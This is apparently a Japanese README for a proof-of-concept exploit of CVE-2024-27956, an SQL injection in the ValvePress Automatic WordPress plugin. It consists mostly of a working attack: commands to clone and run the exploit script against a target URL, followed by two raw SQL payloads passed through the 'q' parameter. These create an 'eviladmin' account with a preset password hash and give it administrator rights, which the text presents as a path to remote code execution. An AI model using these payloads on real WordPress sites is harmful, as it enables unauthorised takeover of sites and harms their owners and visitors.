
CVE-2024-27956の概念実証エクスプロイト。ValvePress Automatic WordPressプラグインのSQLインジェクション。管理者ユーザーを作成し、未サニタイズの入力を介してリモートコード実行を可能にします。
CVE-2024-27956のPoCです。ValvePress AutomaticプラグインにおけるSQLインジェクションです。このPoCは脆弱性を悪用し、ターゲットにユーザーを作成し、管理者権限を付与します。WordPressで管理者になると、リモートコード実行につながる可能性があります。
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
python exploit.py http://target.com
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', '[email protected]', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
管理者権限を付与:
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}
qパラメータにクエリ全体を渡すと、そのまま実行されます。
ユーザー入力は、いかなる制限やサニタイズも行われずに直接実行されます。